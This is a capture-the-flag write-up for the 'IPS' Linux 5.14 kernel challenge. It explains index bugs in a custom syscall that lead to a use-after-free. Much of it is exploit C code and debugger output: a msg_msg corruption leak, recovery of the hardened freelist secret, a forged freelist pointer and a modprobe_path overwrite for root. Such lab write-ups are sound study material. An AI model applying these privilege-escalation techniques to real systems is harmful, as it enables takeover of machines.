IPS

0 solves / 500 points all available (heap) mitigations are on. perf_event_open is removed from the syscall table. get root.

ssh ctf@35.197.193.43 -p 10000 pass : wolfie>

Attachment: ips.tar.gz xpl.py pwn.c

Since we were playing hitcon this weekend, I missed this ctf, but was told, that they had an unsolved kernel challenge and decided to take a look at it afterwards.

Linux (none) 5.14.16 #2 SMP Mon Nov 22 19:24:06 UTC 2021 x86_64 GNU/Linux

Pretty new kernel with heap mitigations on, so we have to handle randomized free lists and freelist pointer hardening.

The challenge itself introduced a new syscall IPS (548)

#define MAX 16

typedef struct {
  int idx;
  unsigned short priority;
  char *data;
} userdata;

typedef struct {
  void *next;
  int idx;
  unsigned short priority;
  char data[114];
} chunk;

chunk *chunks[MAX] = {NULL};
int last_allocated_idx = -1;

SYSCALL_DEFINE2(ips, int, choice, userdata *, udata) {
  char data[114] = {0};
  if(udata->data && strlen(udata->data) < 115) {
    if(copy_from_user(data, udata->data, strlen(udata->data))) return -1;
  }
  switch(choice) {
    case 1: return alloc_storage(udata->priority, data);
    case 2: return remove_storage(udata->idx);
    case 3: return edit_storage(udata->idx, data);
    case 4: return copy_storage(udata->idx);
    default: return -1;
  }
}

So, we can allocate, free, edit and copy chunks (though the copy will only copy a reference).

By just taking a quick glance, I first jumped on the assumption, that you could just copy a chunk, free the original one and would directly have an UAF, but they also cleared the copied references in the remove_storage function.

int remove_storage(int idx) {
  if((idx = check_idx(idx)) < 0) return -1;
  if(chunks[idx] == NULL) return -1;

  int i;
  for(i = 0; i < MAX; i++) {
    if(i != idx && chunks[i] == chunks[idx]) {
      chunks[i] = NULL;
    }
  }

  kfree(chunks[idx]);
  chunks[idx] = NULL;

  return 0;
}

So, it was a bit more subtle, how to get to an UAF chunk. Though copying a chunk wasn’t helpful in this direction, it had another bug, which would help us out here.

int get_idx(void) {
  int i;
  for(i = 0; i < MAX; i++) {
    if(chunks[i] == NULL) {
      return i;
    }
  }
  return -1;
}

int check_idx(int idx) {
  if(idx < 0 || idx >= MAX) return -1;
  return idx;
}

int copy_storage(int idx) {
  if((idx = check_idx(idx)) < 0) return -1;
  if(chunks[idx] == NULL) return -1;

  int target_idx = get_idx();         
  chunks[target_idx] = chunks[idx];
  return target_idx;
}

copy_storage will first check, if we passed it an index in the valid range (check_idx will return -1 otherwise and bail out). get_idx will then try to find the next free storage and return its index. But, if it doesn’t find a free chunk, it will also return -1 and that one isn’t checked in copy_storage. So, if the chunk table is full, it will copy the chunk reference to chunks[-1], which isn’t handled in remove_storage.

Still, having a chunk outside of our table wouldn’t be all that helpful, if there wasn’t another bug in edit_storage

int edit_storage(int idx, char *data) {
  if((idx = check_idx(idx)) < 0);
  if(chunks[idx] == NULL) return -1;

  memcpy(chunks[idx]->data, data, strlen(data));

  return 0;
}

edit_storage will also call check_idx to see, if we passed a valid index, but it doesn’t return, if check_idx returns -1. So by passing an invalid index, idx will be set to -1, and if we have an address at chunks[-1], it will copy our input into it.

Something to work with… But since we have to deal with randomized free list, we won’t know, in which order the chunks will be allocated in the storage. We also need to get around hardened freelist pointers, which will be xor’ed with a secret value, so even knowing some random addresses won’t help us much.

We need to exactly know, at which address, which chunk is allocated, so we need some proper leaks first.

For this, I completely filled up the storage with some marker values to be able to recognize them later in leak output.

printf("[+] Fillup complete storage\n");

memset(payload, 0x41, 2);
unsigned long* ptr = payload + 2;

for (int i = 0; i < 16; i++)
{
    *ptr = 0x4141414141414150 + i;
    alloc(0, payload);
}

Then, I used the bug in copy_storage to copy a chunk address to chunk[-1] and free it.

printf("[+] Create uaf copy\n");
copy(0);
removechunk(0);

By this, we now have effectively a freed chunk in chunk[-1]. Despite randomization, we will get the last freed chunk on the next allocation, so I created a msg_msg object, which will be stored in the freed chunk, which chunk[-1] points to.

printf("[+] Create msg_msg in uaf chunk\n");
memset(payload, 0, 0x80);
msg_alloc(qid, payload, 0x80);
gef> x/30gx $table
0xffffffff82cec8b0:	0x0000000000000000	0xffff888006e3bf00 <= chunks[-1]
0xffffffff82cec8c0:	0x0000000000000000	0xffff888006e3b500 <= chunks[0]
0xffffffff82cec8d0:	0xffff888006e3b900	0xffff888006e3bb80
0xffffffff82cec8e0:	0xffff888006e3bd00	0xffff888006e3bd80
0xffffffff82cec8f0:	0xffff888006e3be00	0xffff888006e3b680
0xffffffff82cec900:	0xffff888006e3ba80	0xffff888006e3b880
0xffffffff82cec910:	0xffff888006e3b380	0xffff888006e3b980
0xffffffff82cec920:	0xffff888006e3b600	0xffff888006e3bc80
0xffffffff82cec930:	0xffff888006e3be80	0xffff888006e3b480
0xffffffff82cec940:	0x0000000000000000	0x0000000000000000
0xffffffff82cec950:	0x0000000000000000	0x0000000000000000
0xffffffff82cec960:	0x0000000000000000	0x0000000000000000
0xffffffff82cec970:	0x0000000000000000	0x0000000000000000
0xffffffff82cec980:	0x0000000000000000	0x0000000000000000
0xffffffff82cec990:	0x0000000000000000	0x0000000000000000

gef> x/30gx 0xffff888006e3bf00
0xffff888006e3bf00:	0xffff888006e940c0	0xffff888006e940c0 <= msg_msg struct
0xffff888006e3bf10:	0x0000000000000001	0x0000000000000050
0xffff888006e3bf20:	0x0000000000000000	0xffff888006ed7490
0xffff888006e3bf30:	0x0000000000000000	0x0000000000000000
0xffff888006e3bf40:	0x0000000000000000	0x0000000000000000

With the bug from edit_storage, we can now edit chunk[-1] and overwrite the data from msg_msg.

We just have to take care that chunk->data starts at offset 14, so we will overwrite the upper 2 bytes from msg_msg->m_list, but they will most likely just be \xff\xff.

printf("[+] Corrup msg_msg to leak followup data\n");
memset(payload, 0xff, 2);        // upper 2 bytes of kernel address will always be 0xffff
memset(payload + 2, 0x41, 0x10); // overwrite msg_type and msg_size

edit(-1, payload);
gef> x/30gx 0xffff888006e40e80
0xffff888006e3bf00:	0xffff888006eb4dc0	0xffff888006eb4dc0 <= msg_msg struct
0xffff888006e3bf10:	0x4141414141414141	0x4141414141414141 <= m_type / size
0xffff888006e3bf20:	0x0000000000000000	0xffff888006ed9520
0xffff888006e3bf30:	0x0000000000000000	0x0000000000000000
0xffff888006e3bf40:	0x0000000000000000	0x0000000000000000

The msg_msg struct now has a type and size of 0x4141414141414141, so we can now leak the data behind it (which hopefully contains some of our storage chunks).

printf("[+] Receive msg_msg for leaks\n");
memset(payload, 0, 0x4000);
msgrcv(qid, payload + 8, 0x4141414141414141, 0x4141414141414141, 0);
0x0000: 0x0000000000000000 0x4141414141414141 <= msg_msg content
0x0010: 0x0000000000000000 0x0000000000000000
0x0020: 0x0000000000000000 0x0000000000000000
0x0030: 0x0000000000000000 0x0000000000000000
0x0040: 0x0000000000000000 0x0000000000000000
0x0050: 0x0000000000000000 0x0000000000000000
0x0060: 0x0000000000000003 0xffffffff8138ae40
0x0070: 0x0000000000000000 0xffffffff81a11640
0x0080: 0xffff888006d7b0c0 0xffffffff81a11600 <= x / kernel address
0x0090: 0xffff888006d7bf00 0xffffffff820477a8
0x00a0: 0xffff888006f06878 0xffff888006ebcdd0
0x00b0: 0x0000000000000000 0x0000000000000000

...

0x0140: 0x0000000000000000 0x0000000000000000
0x0150: 0x0000000000000000 0x0000000000000000
0x0160: 0xffff888006ebc080 0x414100000000000c <= chunk 12 (next / index / priority)
0x0170: 0x414141414141415c 0x0000000000000000 <= marker chunk 12
0x0180: 0x0000000000000000 0x0000000000000000
0x0190: 0x0000000000000000 0x0000000000000000
0x01a0: 0x0000000000000000 0x0000000000000000
0x01b0: 0x0000000000000000 0x0000000000000000
0x01c0: 0x0000000000000000 0x0000000000000000
0x01d0: 0x0000000000000000 0x0000000000000000
0x01e0: 0x0000000000000000 0x0000000000000000
0x01f0: 0x0000000000000000 0x0000000000000000
0x0200: 0x0000000000000000 0x0000000000000000
0x0210: 0x0000000000000000 0x0000000000000000
0x0220: 0x812ac01da3069a8f 0x0000000000000000 <= obfuscated freelist pointer
0x0230: 0x0000000000000000 0x0000000000000000
0x0240: 0x0000000000000000 0x0000000000000000
0x0250: 0x0000000000000000 0x0000000000000000

...

0x03b0: 0x0000000000000000 0x0000000000000000
0x03c0: 0x0000000000000000 0x0000000000000000
0x03d0: 0x0000000000000000 0x0000000000000000
0x03e0: 0xffff888006ebc280 0x4141000000000006 <= chunk 6
0x03f0: 0x4141414141414156 0x0000000000000000 <= chunk 6 marker
0x0400: 0x0000000000000000 0x0000000000000000
0x0410: 0x0000000000000000 0x0000000000000000

...

0x05b0: 0x0000000000000001 0xffff888006f06750
0x05c0: 0xffff888006f06790 0xffff888006ebcb80
0x05d0: 0x0000000000000000 0x0000000000000000
0x05e0: 0xffff888006ebc780 0x414100000000000b <= chunk 11
0x05f0: 0x414141414141415b 0x0000000000000000 <= chunk 11 marker

We can retrieve quite some info from this leak, but the order of chunks will always be randomized (and it can also happen, that we don’t find enough information in the leak, since the chunks were allocated in a “bad” order.).

Though, even with knowing the offsets in the payload, we won’t know where the chunks are exactly located, but combining that knowledge with the next pointer of every chunk, we can recalculate, where some of the chunks are stored.

This could be optimized a lot by previously freeing some chunks via msgsend/msgrecv and also retrieve more information from every stage, but for simplicitys sake, I separated each step.

struct chunk_info
{
    unsigned long address;
    unsigned long next;
    unsigned long offset;
};

struct chunk_info chunks[16];

void find_chunk_info(char *buffer)
{
  unsigned long *ptr;

  // Stage1 : Find offsets of chunks in payload
  for (size_t offset = 0; offset < 0x1000; offset += 8)
  {
    ptr = buffer + offset;

    if (((*ptr & 0xffffffffffffff00) == 0x4141414141414100) && ((*ptr & 0x00000000000000ff) != 0x41))
    {
      // Found a chunk
      int idx = (*ptr & 0x00000000000000ff) - 0x50;

      chunks[idx].offset = offset - 0x10;
      chunks[idx].next = *((unsigned long *)(buffer + offset - 0x10));
    }

    if ((kernel_base == 0) && ((*ptr & 0xfff) == 0x600))
    {
      kernel_base = *ptr - 0xa11600;
      modprobe_path = kernel_base + 0x144fa20;
    }
  }

First, we just try to find the markers of every chunk in the leak and store the offset in the leak and the next pointer from that chunk.

With this we can now check, if we found two adjacent chunks, by which we’ll know the exact address of the next chunk.

// Stage2 : Find addresses of chunks
for (int i = 0; i < 15; i++)
{
  if ((chunks[i].offset != 0) && (chunks[i + 1].offset != 0))
  {
    chunks[i + 1].address = chunks[i].next;

    // Calculate msg_msg address relative to current chunk
    msg_msg_address = chunks[i + 1].address - chunks[i + 1].offset - 0x20;
  }
}

I also calculated the address of our msg_msg struct itself (which will be at the top of our leak, since we’re just reading from there), which we’ll need later on.

If everything goes well and we find out the addresses of two chunks with this, we can continue

Found chunks
---------------------------------------------------------------------------------
Chunk [ 0] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 1] - Address:                  0 / Next: 0xffff888006ebce80 / Offset: 0x660
Chunk [ 2] - Address: 0xffff888006ebce80 / Next: 0xffff888006ebc480 / Offset: 0x860
Chunk [ 3] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 4] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 5] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 6] - Address:                  0 / Next: 0xffff888006ebc280 / Offset: 0x3e0
Chunk [ 7] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 8] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 9] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [10] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [11] - Address:                  0 / Next: 0xffff888006ebc780 / Offset: 0x5e0
Chunk [12] - Address: 0xffff888006ebc780 / Next: 0xffff888006ebc080 / Offset: 0x160
Chunk [13] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [14] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [15] - Address:                  0 / Next:                  0 / Offset: 0x960
---------------------------------------------------------------------------------

Looks good. If we now free some chunks, and check how they look like, we’ll see that for hardening, they moved the next pointers inside the chunk and also obfuscated them, so they cannot be overwritten that easily.

0xffff888006ebc700:	0x0000000000000000	0x0000000000000000 <= free chunk
0xffff888006ebc710:	0x0000000000000000	0x0000000000000000
0xffff888006ebc720:	0x0000000000000000	0x0000000000000000
0xffff888006ebc730:	0x0000000000000000	0x0000000000000000
0xffff888006ebc740:	0x8125c01da3069e8f	0x0000000000000000 <= obfuscated freelist ptr
0xffff888006ebc750:	0x0000000000000000	0x0000000000000000
0xffff888006ebc760:	0x0000000000000000	0x0000000000000000

Checking freelist_ptr for kernel v5.14.16 shows, how it’s calculated.

/*
 * Returns freelist pointer (ptr). With hardening, this is obfuscated
 * with an XOR of the address where the pointer is held and a per-cache
 * random number.
 */
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
				 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	return (void *)((unsigned long)ptr ^ s->random ^ swab((unsigned long)((void *)ptr_addr)));
#else
	return ptr;
#endif
}

This means, the address of the next free chunk (ptr) is xored with a secret value s->random and then xored with the address, where the freelist pointer is stored (ptr_addr). What gave me some headaches while writing the exploit was, that there’s a new addition in freelist pointer hardening, which was added some time ago.

The address of the obfuscated pointer is swabed (which means effectively all bytes are reversed), which resulted in all my calculated addresses being “a bit off”.

But when checking the exact code for 5.14.16 it became more clear.

So, to be able to create our own obfuscated pointer, which will point to an arbitrary address, we need to know, where the pointer will be stored (ptr_addr), which we can calculate from our leaks. We also need to know which will be the next free chunk, which we can control by freeing two chunks (so the next allocated chunks will be those freed chunks in reverse order) and s->random.

obfuscated = next_free ^ s->random ^ swab(ptr_addr)

=> s->random = next_free ^ swab(ptr_addr) ^ obfuscated

Since we can get all the information except s->random from our leaks, we can calculate s->random, which will be the same for every slab/slub region.

To do this, we’ll first need to prepare another leak and free 2 chunks, for which we know the address.

// Stage3 : Allocate another msg_msg and free two known chunks
char msg_payload[0x1000] = {0};
int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msg_alloc(qid, msg_payload, 0x80);

unsigned long freed_addresses[2];
int cur_free = 0;

// Free two chunks with known offset and address
for (int i = 0; i < 16; i++)
{
  if (chunks[i].address != 0 && chunks[i].offset != 0)
  {
    removechunk(i);
    freed_addresses[cur_free++] = i;

    if (cur_free == 2)
      break;
  }
}

if (cur_free != 2)
{
  printf("[+] Didn't find enough chunks for heap guard leak\n");
  exit(-1);
}

We can now again corrupt the msg_msg and retrieve the obfuscated pointers from the just freed chunks. Since we know the order, in which they were freed and the addresses from both chunks, we know next_free.

unsigned long bswap(unsigned long val) {
    asm(
        "bswap %1;"
        : "=r" (val)
        : "r" (val));
}

...

// Stage4 : Corrupt msg_msg again to leak known free chunk heap guards and calculate secret
memset(msg_payload, 0xff, 2);
memset(msg_payload + 2, 0x41, 0x10);
msg_payload[0x12] = 0x0;

edit(-1, msg_payload);

msgrcv(qid, msg_payload + 8, 0x4141414141414141, 0x4141414141414141, 0);

unsigned long heap_guard = *((unsigned long *)(msg_payload + chunks[freed_addresses[1]].offset + 0x40));
unsigned long next_free = chunks[freed_addresses[0]].address;
unsigned long ptr_addr = chunks[freed_addresses[1]].address + 0x40;

slab_random = heap_guard ^ next_free ^ bswap(ptr_addr);

By knowing the secret, we can now finally overwrite the freelist ptr and allocate a chunk anywhere.

Since modprobe_path was available in that challenge, it’s the easiest to just overwrite modprobe_path and trigger a flag copy.

if (kernel_base != 0 && slab_random != 0 && msg_msg_address != 0)
{
  memset(payload, 0, 0x100);
  memset(payload, 0x41, 0x32);
  ptr = payload + 0x32;
  *ptr = (modprobe_path - 0x10) ^ slab_random ^ bswap(msg_msg_address + 0x40);

  edit(-1, payload);
  memset(payload, 0, 0x100);
  memset(payload, 0x41, 0x2);
  strcpy(payload + 0x2, "/home/user/copy.sh");

  alloc(0, payload);
  alloc(0, payload);  // overwrite modprobe_path
}
else
{
  printf("[-] Didn't find all needed leaks\n");
  exit(-1);
}

printf("Trigger modprobe_path exploit\n");
system("./dummy");
system("cat flag");

Since the remote server was already shut down, I could only execute it in my local environment and retrieve the “fake flag”…

[+] Prepare modprobe_path exploit
[+] Create msg queue
[+] Fillup complete storage
[+] Create uaf copy
[+] Create msg_msg in uaf chunk
[+] Corrup msg_msg to leak followup data
[+] Receive msg_msg for leaks

Found chunks
---------------------------------------------------------------------------------
Chunk [ 0] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 1] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 2] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 3] - Address:                  0 / Next: 0xffffa24d04eb5180 / Offset: 0x7e0
Chunk [ 4] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 5] - Address:                  0 / Next: 0xffffa24d04eb5b00 / Offset:  0x60
Chunk [ 6] - Address: 0xffffa24d04eb5b00 / Next: 0xffffa24d04eb5700 / Offset: 0x360
Chunk [ 7] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [ 8] - Address:                  0 / Next: 0xffffa24d04eb5500 / Offset: 0x760
Chunk [ 9] - Address:                  0 / Next:                  0 / Offset:     0
Chunk [10] - Address:                  0 / Next: 0xffffa24d04eb5b80 / Offset: 0x160
Chunk [11] - Address: 0xffffa24d04eb5b80 / Next: 0xffffa24d04eb5d00 / Offset: 0x3e0
Chunk [12] - Address: 0xffffa24d04eb5d00 / Next: 0xffffa24d04eb5d80 / Offset: 0x560
Chunk [13] - Address: 0xffffa24d04eb5d80 / Next: 0xffffa24d04eb5e00 / Offset: 0x5e0
Chunk [14] - Address: 0xffffa24d04eb5e00 / Next: 0xffffa24d04eb5680 / Offset: 0x660
Chunk [15] - Address:                  0 / Next:                  0 / Offset:     0
---------------------------------------------------------------------------------

[+] Kernel base   : 0xffffffff8ea00000
[+] msg_msg addr  : 0xffffa24d04eb5780
[+] s->random     : 0x3e1da39b2565ae70
[+] modprobe_path : 0xffffffff8fe4fa20
Trigger modprobe_path exploit
./dummy: line 1: \xff\xff\xff\xff: not found
VULNCON{r00t_f4k3_fl4g}